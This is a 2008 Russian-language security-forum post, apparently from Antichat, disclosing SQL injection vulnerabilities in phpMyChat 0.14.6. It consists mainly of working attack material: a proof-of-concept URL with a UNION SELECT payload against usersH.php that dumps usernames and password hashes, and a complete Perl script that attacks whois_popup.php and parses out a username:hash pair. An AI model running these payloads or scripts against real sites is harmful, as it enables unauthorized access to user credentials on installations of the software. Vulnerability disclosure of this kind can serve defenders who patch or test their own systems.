Показать сообщение отдельно

phpMyChat 0.14.6
  #2  
Старый 21.01.2008, 11:39
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию phpMyChat 0.14.6

Уязвимости чата версии 0.14.6
SQL-injection в модулях usersH.php и usersL.php
POC:
Код:
http://127.0.0.1/phpmychat/usersH.php?L=english&R='%20union%20select%20concat(username,0x3a,password),2,3,4%20from%20c_reg_users/*
SQL-injection в модуле whois_popup.php
Код:
#!/usr/bin/perl

$argc = $#ARGV + 1;
unless ($argc == 2)
{
  print "usage: $0 host path_to_chat\n";
  print "Ex. $0 127.0.0.1 phpmychat\n";
  exit -1;
}

#http://127.0.0.1/phpmychat/whois_popup.php?L=russian&U='%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20c_reg_users%20limit%201/*
use LWP::UserAgent;
use HTTP::Request;

$host = $ARGV[0];
$dir = $ARGV[1];
$file = "whois_popup.php";
$param = "?L=english&U='%20union%20select%201,concat(0x242424,username,0x3a,password,0x242424),3,4,5,6,7,8,9,10,11%20from%20c_reg_users%20limit%200,1/*";

$ua = LWP::UserAgent->new;
#$ua->proxy ("http", "http://$proxy_host:$proxy_port/");
$url = "http://$host/$dir/$file$param";
$req = HTTP::Request->new (GET => $url);
$req->content_type ("text/html");
$res = $ua->request ($req);

die ("ERROR: " . $res->status_line) unless ($res->is_success);

$content = $res->content;
if ($content =~ /\x24\x24\x24([^:]+:.{32})\x24\x24\x24/)
{
  print "$1\n";
}
exit 0;
зы. Solide Snake, plz, поправь ссылку на их сайт
Цитата:
http://www.phpheaven.net/phpmychat:home

Последний раз редактировалось krypt3r; 21.01.2008 в 13:44..
 
Ответить с цитированием